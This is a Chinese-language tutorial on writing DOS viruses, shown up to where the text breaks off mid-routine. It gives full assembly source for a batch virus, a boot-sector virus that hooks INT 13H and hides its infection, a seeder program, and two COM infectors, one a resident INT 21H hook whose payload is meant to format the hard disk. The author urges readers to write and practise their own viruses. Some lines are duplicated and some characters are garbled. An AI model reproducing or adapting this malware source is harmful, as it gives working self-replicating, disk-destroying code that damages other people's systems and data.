病毒

第1章 假想的病毒程序 
  假如您对病毒的了解象人们对尼斯湖怪的了解一样少,那么读了下面的程序,你会发现怪? 
  一个批处理病毒 
  你第一次用批处理编程序是在几年前?你是否想象过下面的批处理也是一个病毒? 
  @ECHO OFF 
  REM 文件名 VIRUS.BAT 
  REM 本病毒感染自动执行批处理文件 
  IF DRIVE=="A:\" GOTO END123 
  IF DRIVE=="C:\" GOTO END123 
  IF %COMSPEC%=="C:\COMMAND.COM" SET DRIVE=A:\ 
  IF %COMSPEC%=="A:\COMMAND.COM" SET DRIVE=C:\ 
  IF NOT EXIST %DRIVE%AUTOEXEC.BAT GOTO END123 
  COPY VIRUS.BAT %DRIVE%>NUL 
  ECHO CALL VIRUS>TMP.DAT 
  COPY %DRIVE%AUTOEXEC.BAT+TMP.DAT>NUL 
  DEL TMP.DAT>NUL 
  : END123 
  ECHO ON 
  第2章 学会编写自己的病毒程序
  教授如何编写病毒是一个很敏感的话题。这会不会引起病 泛滥?到底有 有学
  习编写病毒的必要?这就牵涉到一个问题,引起病 痉豪牡脑 因到底是什么?是
  因为会编写病毒的人太多还是因为懂得对付病毒的人太少?当骗子到处横行,我
  们到底应该让每个人都懂得骗子行骗的手段以防止受骗还是应该隐瞒骗子的行径 
  呢?使人们懂法是否是教唆人们违法呢?
  怎样编写主引导记录和BOOT区病毒
  什么是主引导记录?主引导记录存放在何处?主引导记录是用来装载硬盘活动分
  区的BOOT扇区的程序。主引导记录存放于硬盘0道0柱面1扇区,长度最大为一个
  扇区。从硬盘启动时,BIOS引导程序将主引导记录装载至0:7C00H处,然后将控
  制权交给主引导记录。
  一般的,BOOT区病毒存在于软盘。因为软盘不存在分区,可以将其看成为软盘的
  主引导记录。软盘的BOOT区存在于其0道0面1扇区,长度为一个扇区。
  一般的主引导记录病毒的原理。
  一般的,这类病毒是把原来的主引导记录保存后用自己的程序替代掉原来的主引 
  导记录。启动时,当病毒体得到控制权,在做完了自己的处理后,病毒将保存的
  原主引导记录读入0:7C00,然后将控制权交给原主引导记录进行启动。这类病毒
  对硬盘的感染一般是在用带毒软盘启动的时候,对软盘的感染一般是在当系统带
  毒时对软盘操作时。
  编写主引导记录病毒需要了解的几点
  1、用什么来保存原始主引导记录。
  众所周知的,文件型病毒用以保存被感染修改的部分是文件。引导型病毒是否也
  可以使用文件存储被覆盖的引导记录呢?答案是否定的。
  由于主引导记录病毒先于操作系统执行,因而不能使用操作系统的功能调用,而 
  只能使用BIOS的功能调用或者使用直接的IO设计。一般的,使用BIOS的磁盘服务
  将主引导记录保存于绝对的扇区内。由于零道零面二扇区是保留扇区,因而通常
  使用它来保存。
  2、需要掌握的BIOS磁盘服务功能调用。
  INT 13H 子功能 02H 读扇区
  其调用方法为:
  入口为:
  AH=02H
  AL=读入的扇区数
  CH=磁道号
  CL=扇区号(从1开始)
  DH=头号
  DL=物理驱动器号 
  ES:BX-->要填充的缓冲区
  返回为: 当CF置位时表示调用失败
  AH=状态
  AL=实际读入的扇区数
  INT 13H 子功能03H写扇区
  其调用方法为:
  入口为:
  AH=03H
  AL=写入的扇区数
  CH=磁道号
  CL=扇区号(从1开始)
  DH=头号
  DL=物理驱动器号
  ES:BX-->缓冲区
  返回为: 当CF置位时表示调用失败
  AH=状态
  AL=实际写入的扇区数
  3。这类病毒通过什么来进行感染
  通常的,这类病毒通过截获中断向量INT 13H 进行系统监控。当存在有关于软盘或硬盘
  的磁潭列词保?病毒将检测其是否干净,若尚未感染则感染之。
  4。驻留的位置
  位置在40H:13H,单位为KB。病毒体存在于最后的几K内存中。
  一个主引导记录病毒例子 
  int13 macro 
  pushf 
  Call dword Ptr cs:Old13H 
  endm 
  jmp13 macro 
  Jmp dword Ptr cs:Old13h 
  endm 
  .286 
  code segment 
  assume cs:code,ds:code 
  Org 100h 
  start: 
  org 7c00h 
  ;start: 
  jmp short begin 
  db 20h dup (0) 
  db 'WN' 
  begin: 
  xor ax,ax 
  xor ax,ax 
  Mov es,ax 
  Push Word Ptr es:[13h*4] 
  Pop Word Ptr cs:Old13h 
  Push Word Ptr es:[13h*4+2] 
  Pop Word Ptr cs:Old13h+2 
  mov ah,04h 
  int 1ah 
  cmp dl,5 
  jne datenot1 
  cmp dh,12h 
  jne datenot1 
  call printmsg 
  datenot1: 
  push cs 
  pop ds 
  mov ax,40h 
  mov es,ax 
  dec word ptr es:[13h] ;减少基本内存1K 
  mov ax,es:[13h] 
  mov cl,6 ;2&10 /2&4 
  shl ax,cl ;得到段址 
  mov es,ax 
  mov es,ax 
  mov cx,200h ;512 bytes a sector 
  mov si,7c00h ;The begin offet 
  mov di,0 
  cld 
  rep movsb 
  Mov ax,es 
  Sub ax,7c0H 
  Push ax 
  Mov ax,Offset TheNextCommand 
  Push ax 
  mov ax,es 
  sub ax,7c0h ;The segment of the president 
  mov es,ax 
  mov bx,0 
  mov ds,bx 
  mov word ptr ds:[13h*4],offset newint13h 
  mov word ptr ds:[13h*4+2],ax 
  RetF 
  Old13h dd ? 
  TheNextCommand: 
  mov ax,0201h 
  mov cx,2 
  mov cx,2 
  Cmp cs:TheDrive,80h 
  Je Hardisk 
  mov cx,4f0fh ;If is the floppy disk 
  Hardisk: 
  mov dh,0 
  Mov dl,cs:TheDrive ;The drive is 0 or 80h 
  Mov bx,0 
  Mov es,bx 
  Mov bx,7c00H 
  int13 
  Mov ax,0 
  Push ax 
  Mov ax,7c00h 
  Push ax 
  RetF 
  newint13h: 
  cmp ax,0201h 
  je Isreadsector 
  Jmp13 
  IsReadSector: 
  cmp cx,1 
  jne notreadsector 
  cmp dh,0 
  jne notreadsector 
  Call Readsector 
  Jne gotoEnd 
  ;Cmp dl,cs:TheDrive 
  ;Jne NotReadSector ;If the DISK is the boot disk 
  push cx 
  mov cx,2 
  Cmp dl,80h 
  Jae HardRead 
  mov cx,4f0fh 
  HardRead: 
  int13 ;制造未感染假象 
  pop cx 
  RetF 2 
  notreadsector: 
  call readsector 
  je effected 
  call effect 
  effected: 
  gotoEnd: 
  jmp13 
  jmp13 
  readsector: 
  pusha 
  mov ax,0201h 
  mov dh,0 
  mov cx,1 
  int13 ;Use the read buffer as the old buffer 
  cmp word ptr es:[bx+20h+2],'NW' 
  popa 
  retn 
  effect: 
  pusha 
  mov ax,0301h 
  mov dh,0 
  mov cx,2 
  Cmp dl,80h 
  Jae Hardeffect 
  mov cx,4f0fh 
  Hardeffect: 
  int13 ;Backup the old boot record 
  Mov SI,BX 
  Add SI,1b0h 
  Push ES 
  Push ES 
  Pop DS 
  Push cs 
  Pop ES 
  Mov DI,7C00H+1b0H 
  Mov Cx,50h 
  CLD 
  REP MovSB 
  Mov SI,BX 
  add SI,2 
  Mov DI,7c00H+2 
  Mov Cx,20h 
  Cld 
  Rep movsb 
  mov ax,0301h 
  mov cx,1 
  mov dh,0 
  push cs 
  pop es 
  Push ax 
  Mov al,cs:TheDrive 
  Mov cs:TheDriveSave,Al ;Backup theDrive 
  Pop ax 
  Pop ax 
  Mov cs:TheDrive,DL 
  And cs:TheDrive,0FEH ;Set the 0 bit to zero 
  mov bx,7c00h 
  int13 ;Write The Virus to sector 1 
  Mov al,cs:TheDriveSave 
  Mov cs:TheDrive,al ;Restore TheDrive 
  popa 
  retn 
  printmsg Proc Near 
  mov si,offset msg 
  push cs 
  pop ds 
  mov ah,0eh 
  cld 
  printgoon: 
  lodsb 
  cmp al,0 
  je printend 
  int 10h 
  jmp printgoon 
  printend: 
  jmp $ 
  jmp $ 
  msg db 'Don''t work today.',0 
  TheDrive db 80h 
  TheDriveSave db ? 
  org 7dfeh 
  db 55h,0aah 
  PrintMsg endp 
  code ends 
  end start 
  {这个程序用来处理以上病毒程序,使其成为一个256字节的从7C00H开始的二进制文件} 
  Program C2V; 
  Var 
  F,F1:File of char; 
  CH:Char; 
  Begin 
  assign(F,paramstr(1)); 
  Reset(F); 
  Assign(F1,Paramstr(2)); 
  Rewrite(F1); 
  seek(F,$7B00); 
  While Not Eof(F) do 
  Begin 
  Read(F,CH); 
  Read(F,CH); 
  Write(F1,CH); 
  end; 
  Close(F); 
  Close(F1); 
  End. 
  .title INFECT.ASM 
  Comment~ 
  本程序是用来 原始感染 
  ~ 
  Code segment 
  assume cs:code,ds:code 
  org 100h 
  start: 
  mov ax,0201h 
  Mov Bx,Offset TheBuf 
  mov cx,1 
  Mov dx,80H 
  Int 13h 
  Mov ax,0301h 
  Mov CX,2 
  Int 13h 
  Mov ax,3d00h 
  Mov ax,3d00h 
  Mov Dx,Offset FileName 
  Int 21h 
  Jnc @@1 
  mov dx,offset OpenError 
  mov ah,9 
  int 21h 
  mov ah,4ch 
  int 21h 
  @@1: 
  Mov Handle,ax 
  Mov Bx,ax 
  Mov ah,3fh 
  mov cx,512 
  mov dx,Offset fileBuf 
  Int 21h 
  Mov Di,Offset FileBuf+2 
  Mov SI,Offset TheBuf+2 
  Cld 
  Mov Cx,20h 
  Rep Movsb 
  Mov Di,Offset FileBuf+1b0h 
  Mov Si,Offset TheBuf+1b0h 
  Mov cx,50h 
  Cld 
  Rep movsb 
  Mov Bx,Offset FileBuf 
  Mov Cx,1 
  Mov dx,80h 
  Mov ax,0301h 
  int 13h 
  Mov Bx,Handle 
  Mov ah,3eh 
  Int 21h 
  mov ah,4ch 
  int 21h 
  TheBuf db 512 dup (0) 
  FILEBuf db 512 dup (0) 
  Handle dw 0 
  OpenError db 'The file Viru.bin not found!',07h,0dh,0ah,'$' 
  filename db 'Viru.bin',0 
  code ends 
  end start 
  怎样编写可执行文件型病毒 
  可执行文件型病毒是DOS病毒中的大家族,也是病毒编写专家们用以炫耀自己的聪 
  明才智的时候。感染处理千奇百怪,传染方案数不胜数,不亚于春秋战国时期的诸子 
  百家争鸣,病毒大概是"病毒安全专家们"编出来的吧。理由有一:安全专家们靠处理病毒为生,有编写的能力;二:安全专家们自己会编写病毒,却极力反对别人学习病毒,免得饭碗被抢,有编写病毒的嫌疑。下面让我们来看看可执行文件病毒的编程方法,其简单程度可以让 用晒 骗的病毒专家们汗颜。我编写的最小的文件型病毒大约只有100多行汇编代码,如果我象某些杀毒专家一样,按照平均30分钟一个病毒,恐怕这几年我要成为最大的杀毒英雄了。可执行文件病毒有广义和狭义之称。广义的可执行文件病毒包括了通常所说的可执行文件病毒,源码病毒,甚至我们入门举的BAT病毒和现在流行的WORD宏病毒,下面我们所述的只包括狭义的可执行文件病毒-----即COM型和EXE型病毒。 
  编写COM型病毒和EXE型病毒非常地简单,我们先来了解COM文件和EXE文件的结构吧。 
  如何修改可执行文件? 
  COM文件是一种单段执行结构,起源于CPM-86操作系统,其执行文件代码和执行时内存影象完全相同,其始执行偏移地址为100H,对应于文件的偏移0。运行我们的DEBUG程序,我们先来做一个练习。我们拿DOS6.22西文版中的more.com来做实验。 
  C:\>debug more.com 
  -u 
  -u 
  0CA4:0100 B8371E MOV AX,1E37 ;注意前三个字节的内容 
  0CA4:0103 BA3008 MOV DX,0830 
  0CA4:0106 3BC4 CMP AX,SP 
  0CA4:0108 7369 JNB 0173 
  0CA4:010A 8BC4 MOV AX,SP 
  0CA4:010C 2D4403 SUB AX,0344 
  0CA4:010F 90 NOP 
  0CA4:0110 25F0FF AND AX,FFF0 
  0CA4:0113 8BF8 MOV DI,AX 
  0CA4:0115 B9A200 MOV CX,00A2 
  0CA4:0118 90 NOP 
  0CA4:0119 BE7E01 MOV SI,017E 
  0CA4:011C FC CLD 
  0CA4:011D F3 REPZ 
  0CA4:011E A5 MOVSW 
  0CA4:011F 8BD8 MOV BX,AX 
  -r 
  AX=0000 BX=0000 CX=09F1 DX=0000 SP=FFFE BP=0000 SI=0000 DI=0000 
  DS=0CA4 ES=0CA4 SS=0CA4 CS=0CA4 IP=0100 NV UP EI PL NZ NA PO NC 
  0CA4:0100 B8371E MOV AX,1E37 
  -a af1 
  0CA4:0AF1 mov ah,0 
  0CA4:0AF3 int 16 ;等待按键 
  0CA4:0AF5 cmp al,1b ;等待ESC键 
  0CA4:0AF7 jnz af1 
  0CA4:0AF9 mov word ptr [100],37b8 ;恢复程序开始的三个字节 
  0CA4:0AFF mov byte ptr [102],1e 
  0CA4:0B04 push cs ;进栈CS:100 
  0CA4:0B05 mov si,100 
  0CA4:0B08 push si 
  0CA4:0B09 retf ;RetF回到CS:100,程序开始处 
  0CA4:0B0A 
  -a 100 
  0CA4:0100 jmp af1 ;将程序开头改成跳转到修改的模块 
  0CA4:0103 
  -rcx 
  CX 09F1 
  :a0a 
  -w 
  Writing 00A0A bytes 
  -q 
  修改完了,我们来执行一下more,发现什么没有?哈哈,如果不按ESC键程序无法执行,流程很简单: 
  1、把程序开始处的指令修改成了跳转到最后的添加的程序位置。 
  2、最先执行添加的程序(相当于病毒模块),等待ESC键 
  3、按下ESC键后修改回程序开始的指令,跳转回最开始。(执行原始程序) 
  好了,大家如果能看懂上面这段话,那你离编写自己的COM病毒将不会很远了。 
  EXE文件是一种多段的结构,属于DOS最成功和复杂的设计之一。 
  要了解EXE文件,首先需要了EXE的文件头结构。 
  (大家先去wenyue.yeah.net下载一份HELPSTAR吧。上面有许多有关的东西。) 
  Exe file header format 
  Offset size Description 
  00 2 bytes .EXE Type Flag,4d5ah 
  02 2 bytes Bytes in the last page(512 bytes/page) 
  04 2 bytes pages of the .EXE file(Include exeheader) 
  06 2 bytes ReAllocation number 
  08 2 bytes Exeheader size(16 bytes*this value) 
  0a 2 bytes MinAlloc 
  0c 2 bytes MaxAlloc 
  0e 2 bytes The init stack segment 
  10 2 bytes The int stack pointer 
  12 2 bytes Checksum 
  14 2 bytes Code pointer 
  16 2 bytes Code segment 
  18 2 bytes The offset of reallocation table 
  1a 2 bytes The overlay number make by link 
  聪明的人应该一眼就能分辨出我们最感兴趣的部分了,偏移14和16,这两个东东简直太重要了。它们表示了程序的执行代码入口地址。 
  DOS对EXE采取重定位的方法,重定位在很多DOS高级编程的书上都会提到,假使你还没有了解,我来打个比方:我比小明高5公分。那么小明如果170CM,那么我有175CM,如果小明180CM,我有185CM。Code segment就是这个5公分。DOS下面可以加载很多TSR或者驱动程序,我们无法知道一个程序被加载的开始段值,但是我们却可以知道一个EXE程序的执行入口的开始段值比加载的第一个段值大多少。DOS就是通过这种简单的加减法来对付EXE的多段模式的。现在我们知道了EXE文件的开始执行代码是从加载初始地址+Code segment:Code pointer。 
  还有一个我们很感兴趣的东西是偏移为8的Exeheader Size。这对病毒修改EXE文件很有用,可以用来确定EXE文件的代码开始处(代码开始处之前是Exeheader)。 
  那么我们可以这样来修改一个EXE文件: 
  把EXE文件的最后先填满16个字节(为了段对齐),把自己的程序段加到最后,并且保存EXE头中的14h和16h偏移的数值,把EXE头中的14h的数值改成100H,16的值改成(EXEFILESIZE+15) div 16 -ExeheaderSize -16 (-16的原因是100H=16*16)好了,自己做个实验吧,在执行完这段代码的时候记得返回到PSP+OldSeg :OldIP。 
  如何进行病毒的传播? 
  一个病毒如果不能传播,那就不成为病毒,我们叫做木马,就象上面我们修改成的MORE。COM。怎样传播的这个问题其实就是把手工传播的方法编写成程序,让其自己进行感染。这个模块的编写比较费时间,但是无非是一些文件读写操作,大家自己可以慢慢地调试,慢慢地写。 
  病毒传播的途径 
  传播模块编写好了,现在该看哪时候应该传播,怎么样传播才会不被发觉,怎么样传播才能得到最大的传播效率。 
  现在文件型病毒基本上有如下传播方式: 
  1, 通过查目录进行传播。 
  截获INT 21H 功能的11H和12H。
  这样DIR的时候你就可以获得控制权了。 
  2, 通过执行进行传播。 
  截获INT 21H 4B子功能。 
  这样每个可执行文件在执行的时候都逃不过你的眼睛。 
  3, 通过文件查找进行传播。 
  截获INT 21H 4E,4F子功能。 
  这样有人使用象TC,TP等编程工具查找文件的时候逃不过你的眼睛。 
  4, 通过文件关闭的时候进行传播。 
  即使你现在正在编译,当执行文件生成后关闭的时候也可以感染。 
  5,自己加载的时候 。。。。。。。 
  总之,传播方式多种多样,叫人难以防备,至于采取哪种方法,这是你自己的本事了。 
  病毒的破坏部分 
  这个问题似乎不应该探讨,但我想还是有必要谈谈。 
  一个病毒破坏能力大,是不是就算一个好病毒?我想一运行就格式化的病毒永远都流传不了,因为它根本就无法流传。病毒的发作基本都有其条件,传统的通过判断时间来发作。这不一定是一种好办法,我想这种病毒几乎没有任何危害,除非编写的病毒技巧不高,往往还没有到发作的时间,很多被感染的文件就已经被感染坏了而不能执行。现在哪会有一种病毒会出现到感染之前还没有杀毒软件呢?所以有很多种病毒采用不断地破坏的方法,例如当前的时间日期求个和,作为要破坏的目标判断标志。。。。当然这和病毒的 长度有矛盾,算法越复杂,病毒越大,也越容易被发现。 
  病毒的编程就先介绍到这里了。 
  下面我给出我自己编写的两个COM病毒的例子(和一般的不同,病毒感染在程序前面)和一个可执行文件(EXE,COM)保护程序(防感染程序),后一个虽然不是病毒,但是却也属于病毒范畴。两个COM类型的病毒中有一个比较大,属于真正的病毒类,通过DIR进行感染,另外一个则只有120行,却也五脏具全,每次执行的时候感染,大家可以借鉴一下。 
  下面该是大家读懂例子,练兵的时候啦。如果有不懂的地方需要解答,我会尽力,如果大家对我写得这么仓卒而不满意,我可以花点时间整理今后再继续
  一个最小的病毒程序 
  不驻留内存 
  每次执行的时候感染当前目录的COM文件 
  Macro:Pmain,Pend,Pushall,Popall见另外一个例子 
  这只是一个模拟病毒程序 
  在两个COM类型的病毒例子中我都采用感染在 
  前面的方法,然而真实的病毒大部分采用 
  附加在后面的办法 
  附加在后面有两种处理方式 
  一种是修改前三个字节直接JMP 到病毒程序 
  这样OFFSET都发生了变化 
  例如本来在病毒程序中的100H 
  可能变成1112H,等等 
  你的程序需要做如下改动: 
  把宿主程序的长度作为相对偏移放入BX中 
  每次访问数据采用这种形式mov ax,mybuf[BX] 
  当然第一次感染的时候BX为0 
  或者你可以采用段对齐的办法 
  修改宿主的前几个字节为 
  Mov ax,cs 
  Add ax,(SUZHULen+15)/16 -16 
  Push ax 
  Mov ax,100h 
  Push ax 
  Retf 
  这样你可以使得你的病毒程序入口依然保持在100H 
  但是既然只是演示病毒的编写方法, 
  我们的目的只是让大家认识病毒为何物, 
  取消对病毒的畏惧,并且讨论病毒的杀除办法 
  所以我的病毒例子并不计较太多的方法。 
  ~ 
  Include stdio.h 
  Include PushPop.asm 
  Pmain 
  db 0EBH,00 ;病毒感染标志,JMP 102 
  Mov ah,9 
  Mov Dx,Offset MSG 
  Int 21h ;发作部分,显示信息 
  Push SaveSize 
  Pop SaveSize_ ;保存上次保存的部分 
  Mov ah,1ah 
  Mov ah,1ah 
  Push cs 
  Pop ds 
  Mov Dx,Offset DTABUF 
  Int 21H ;设置DTA的指针 
  Mov ah,4eh 
  Mov Cx,4fh 
  Mov Dx,Offset FindName 
  Int 21h ;开始查找COM文件 
  NextFind: 
  JC SearchEnd 
  Mov Dx,Offset DTABUF+30 
  Mov ax,3d02h 
  Int 21h ;DTABUF+30为查找出的文件名存贮位置 
  JC SearchEnd_ 
  Mov FileHandle,AX 
  Call Effect ;感染 
  SearchEnd_: 
  Push cs 
  Pop ds 
  Mov ah,4fh 
  Int 21h 
  JMP NEXTFIND 
  JMP NEXTFIND 
  SearchEnd: 
  Mov ah,1ah 
  Push cs 
  Pop ds 
  Mov Dx,80h 
  Int 21h ;设回DTA的指针 
  Mov SI,SAVESIZE_ 
  ADD SI,100h 
  Mov DI,100H ;把保存的宿主代码移动到100H 
  Push cs 
  Pop ds 
  Push cs 
  Pop es 
  Mov ax,100h 
  Push ax 
  CLD 
  Mov Cx,Offset EndFile-100H 
  Rep Movsb 
  Retn 
  Effect Proc Near ;病毒感染程序与另外一个例子类似 
  Pushall ;不再注释 
  Push cs 
  Push cs 
  Pop ds 
  Mov BX,FileHandle 
  Mov CX,Offset EndFile-100H 
  Mov AX,9000H 
  Mov DS,AX 
  Mov Dx,0 
  Mov ah,3fh 
  Int 21h 
  Cmp Word Ptr DS:[0],00EBH 
  JNZ NotEFFECT 
  Mov ah,3eh 
  Mov Bx,cs:FileHandle 
  Int 21h 
  Popall 
  Ret 
  NOTEFFECT: 
  Push cs 
  Pop ds 
  Mov Bx,FileHandle 
  Mov ax,4202h 
  Mov Cx,0 
  Mov Dx,0 
  Mov Dx,0 
  Int 21h 
  Mov SAVESIZE,AX 
  Mov Bx,FileHandle 
  Mov ah,40h 
  Mov Cx,Offset EndFile-100h 
  Mov Dx,0 
  Mov Bx,9000H 
  Mov DS,BX 
  Mov Bx,cs:FileHandle 
  Int 21h 
  Push cs 
  Pop ds 
  Mov AX,4200h 
  Mov Cx,0 
  Mov Dx,0 
  Mov BX,FileHandle 
  Int 21h 
  Mov ah,40h 
  Mov CX,Offset EndOfFile-100h 
  Mov DX,100h 
  Mov Bx,FileHandle 
  Int 21h 
  Int 21h 
  Mov ah,3eh 
  Mov Bx,FileHandle 
  Int 21h 
  Popall 
  Ret 
  Effect Endp 
  FindName db '*.COM',0 
  FileHandle dw 0 
  DTABUF db 80h dup (0) 
  SAVESIZE dw EndOfFile-100h 
  SaveSize_ dw 0 
  MSG db 'Hello,are you tire ?Good luck to you!',0dh,0ah,'$' 
  EndOffile: 
  ENDfile: 
  Mov ax,4c00h 
  Int 21h 
  Pend 
  编写的第一个病毒
  ,当然我没有拿出去感染。(这是很重要的:)) 
  这个病毒的历史应该有五年之久了,所以编写地水平应该说是很低我把它保持原样,作为一个纪念,也作为病毒新手的一个范例。 
  这个病毒通过截获Int 21H的11H,12H子功能进行感染,11h,12h是FCB方式的Findfirst,findnext同时截获4E,4F(FINDFIRST,FINDNEXT)感染病毒发作于1月19日,发作方式为格式化硬盘(但是好象当年编写错了,不能破坏现在的微机:))病毒的感染方法是将COM文件的前面的一段(长度为病毒的长度)挪至末尾,然后把病毒本身覆盖于宿主前面所有注释都是为大家新加的,我写ASM以前没有注释的习惯 
  请在MASM5下编译 
  ~ 
  ;Include stdio.h ;中间包括pmain,pend,retms 
  retms macro 
  mov ax,4c00h 
  Int 21h 
  Endm 
  pmain macro 
  code segment 
  assume cs:code,ds:code 
  org 100h 
  start: 
  endM 
  pend macro 
  code ends 
  end start 
  endM 
  theSize equ offset endit-100h ;病毒的长度=最后的偏移减去PSP的长度 
  addnum equ thesize+200 
  wpt equ word ptr 
  bpt equ byte ptr 
  filebufofs equ offset endit + 100 
  Stackofs equ offset endit 
  GetDta macro ;这个Macro得到DTA的指针 
  mov ah,2fh 
  int 21h ;FCB方式的很多东西都保存在DTA中间。 
  push es 
  pop ds 
  push bx 
  pop si 
  pop si 
  EndM 
  pushAll macro ;保存寄存器的MACRO 
  Irp reg, 
  PUSH REG 
  ENDM 
  POPALL MACRO ;恢复寄存器的MACRO 
  iRP REG, 
  POP REG 
  ENDM 
  ;如果大家想省点空间,使用.286 ,把这两个Macro改成Pusha & Popa 
  Dta Struc ;Data transfer Area的结构,对于感染而言可以得到文件名 
  reServed db 21 dup(?) 
  Attr db ? 
  Time dw ? 
  Date dw ? 
  fileSize dd ? 
  filename db 13 dup (?) 
  FreeName db ?,?,? 
  Dta ends 
  pmain 
  Jmp begin 
  thebegin dw offset endit 
  begin: 
  mov ax,0ffeeh ;这是我的病毒驻留标志判断 
  int 21h 
  cmp ax,0eeffh ;返回为0EEFF表示已经驻留 
  je installed 
  mov cs:ShowFlag,-1 
  mov ah,2ah ;看看当前日期 
  int 21h 
  cmp dl,19 ;19号? 
  jne next 
  cmp dh,1 ;1月? 
  jne NotformatHdisk 
  mov cs:ShowFlag,0 
  NotformatHdisk: 
  Call Show ;惨了,我要格式化硬盘了 
  Next: 
  xor ax,ax 
  mov es,ax 
  mov ax,es:[21h*4+2] 
  mov bx,es:[21h*4] 
  mov wpt cs:old21+2,ax 
  mov wpt cs:old21,bx ;保存老的INT 21H的中断向量 
  call getaddress ;把病毒代码移动到高端 
  mov ax,cs:addr 
  mov bx,offset int21h 
  cli 
  xor cx,cx 
  mov es,cx 
  mov es:[21h*4],bx 
  mov es:[21h*4+2],ax ;把INT 21H的控制权交给病毒 
  sti 
  installed: 
  mov ax,cs 
  mov ds,ax 
  mov es,ax 
  mov si,thebegin 
  mov di,100h 
  mov cx,thesize ;恢复100H开始处被破坏的指令 
  cld 
  rep movsb 
  jmp Start ;跳转回100H,转宿主执行 
  ;注意:可能应该Push cs, 
  ;Mov ax,100h,Push ax,retf 
  DtaSave Dta <> ;保存DTA的缓冲区 
  addr dw ? 
  Flag db 0 
  SaveSS dw ? 
  SaveSP dw ? 
  dtaSize equ 43 ;Dta的大小为43个字节 
  Handle dw ? ;将来用到的文件Handle 
  NextFlag db ? 
  getaddress proc near ;病毒驻留模块 
  mov ax,cs 
  dec ax 
  mov es,ax ;得到MCB (Memory Control Block)的段值 
  mov ax,es:[3] ;得到MCB的块大小 
  mov bx,offset endit ; 
  add bx,addnum ; 
  add bx,15 ; 
  mov cl,4 ; 
  shr bx,cl ; 
  sub ax,bx ;把MCB的块大小减少(病毒的长度*2 + 200) 
  mov es:[3],ax ;这样留出的空间给病毒程序和病毒读写的文件缓冲 
  mov bx,cs 
  mov bx,cs 
  add ax,bx 
  mov cs:addr,ax 
  mov es,ax ;得到病毒驻留空间的段值 
  xor si,si 
  xor di,di 
  push cs 
  pop ds 
  mov cx,offset endit 
  cld 
  rep movsb ;把病毒代码移到留出的空间位置 
  ret 
  getaddress endp 
  old21 dd ? 
  int24h proc far 
  mov al,0 
  mov cs:Flag24h,-1 ;防止出现严重错误 
  Iret 
  Flag24h db 0 ;例如出现感染写保护出现的提示 
  int24h endp 
  CH24h proc near ;替换INT 24H 
  xor ax,ax 
  mov es,ax 
  mov es,ax 
  mov ax,es:[24h*4] 
  mov bx,es:[24h*4+2] 
  mov wpt cs:old24,ax 
  mov wpt cs:old24+2,bx 
  mov bx,cs 
  mov ax,offset int24h 
  mov es:[24h*4],ax 
  mov es:[24h*4+2],bx 
  ret 
  Ch24h endp 
  Res24 proc near ;还原INT 24H 
  xor ax,ax 
  mov es,ax 
  mov ax,wpt cs:old24 
  mov bx,wpt cs:old24+2 
  mov es:[24h*4],ax 
  mov es:[24h*4+2],bx 
  ret 
  Res24 endp 
  old24 dd ? 
  int21h proc far ;感染监控核心部分,INT 21H处理 
  sti 
  sti 
  cmp ax,0ffeeh ;病毒驻留标志 
  jne next21h 
  mov ax,0eeffh ;返回已经驻留 
  Iret 
  next21h: 
  cmp ah,4fh ;是FindNext吗? 
  je findnext 
  cmp ah,12h ;是FCB方式的FindNext吗? 
  jne outInt21h 
  mov bpt cs:NextFlag,0 ;NextFlag=0表示为FCB FindNext 
  Jmp FindNext1 
  outInt21h: 
  jmp cs:old21 
  findnext: 
  mov cs:NextFlag,1 ;NextFlag=1表示为4F FinddNext 
  findnext1: 
  mov cs:Flag24h,0 ; 
  mov cs:SaveSS,ss 
  pushAll 
  mov cs:SaveSP,SP ;保存SS,SP,然后切换堆栈 
  mov ds,cs:SaveSS ;保证DOS重入成功 
  mov si,sp 
  mov si,sp 
  mov ax,cs 
  mov es,ax 
  mov di,StackOfs 
  cld 
  mov cx,50 
  rep movsw ;保存50个字的堆栈,我的TSR经常使用 
  mov ax,cs 
  mov ss,ax 
  mov sp,100h ;切换堆栈 
  GetDTA ;DS:SI --> DTA adress ;得到DTA的指针 
  push cs 
  pop es 
  mov di,offset DTASave 
  mov cx,DTASize 
  cld 
  rep movsb ;保存起DTA的数据 
  call ch24h ;修改INT24H,保障不出严重错误 
  cmp bpt cs:NextFlag,1 ;以4F方式的DTA为摸版 
  je NotCHangeDta 
  call ChangeDta ;如果是标准DTA方式扩展成扩展DTA 
  NotCHangeDta: 
  call cmpifcomFile ;判断当前查的文件是否COM文件 
  cmp al,0 
  jne Hasbeen 
  Call cmpifbeen ;是COM文件判断是否被感染 
  cmp al,0 
  jne Hasbeen 
  cmp cs:Flag24h,-1 ;出现严重错误,放弃感染 
  je HasBeen ; 
  Call dofile ;否则感染之 
  Hasbeen: 
  call Res24 ;恢复INT24H 
  cli 
  push cs 
  pop ds 
  mov es,cs:SaveSS 
  mov si,StackOfs 
  mov di,cs:SaveSP 
  cld 
  mov cx,50 
  rep movsw ;恢复堆栈 
  mov ss,cs:SaveSS 
  mov Sp,cs:SaveSp ;恢复堆栈寄存器 
  sti 
  sti 
  PopAll 
  Jmp cs:old21 ;转原INT 21H处理程序 
  Int21h endp 
  Cmpifcomfile proc near 
  mov si,offset DtaSave.filename 
  LoopCMp: 
  cmp bpt cs:[si],0 
  je OutCmp 
  inc si 
  jmp loopCmp 
  Outcmp: 
  cmp bpt cs:[si-1],'M' 
  jne notComfile 
  cmp bpt cs:[si-2],'O' 
  jne notComfile 
  cmp bpt cs:[si-3],'C' 
  jne notComfile 
  cmp bpt cs:[si-4],'.' ;比较文件扩展名是否为.COM 
  jne notComfile 
  mov al,0 
  ret 
  notComfile: 
  notComfile: 
  mov al,-1 
  ret 
  Cmpifcomfile endp 
  cmpifbeen proc near ;看是否已经被感染 
  push cs 
  pop ds 
  mov dx,offset DtaSave.filename 
  mov ax,3d00h 
  int 21h 
  jc been 
  mov cs:handle,ax 
  mov ah,3fh 
  mov bx,cs:handle 
  mov cx,2 
  mov dx,FILEBUFOFS 
  int 21h 
  mov ah,3eh 
  mov bx,cs:handle 
  int 21h 
  mov si,100h 
  mov ax,ds:[si] 
  mov si,FIleBufOfs 
  mov bx,ds:[si] 
  cmp ax,bx ;判断感染标志,(最前两字节) 
  je Been 
  mov al,0 
  ret 
  been:mov al,-1 
  ret 
  cmpifbeen endp 
  Dofile proc near ;病毒感染模块,文件处理过程。 
  mov ax,4300h 
  push cs 
  pop ds 
  mov dx,offset DtaSave.filename 
  int 21h 
  and cl,100111b 
  mov DtaSave.attr,cl 
  and cl,100b 
  jnz Out1 ;Sys file 
  mov ax,4301h 
  mov dx,offset DTASave.filename 
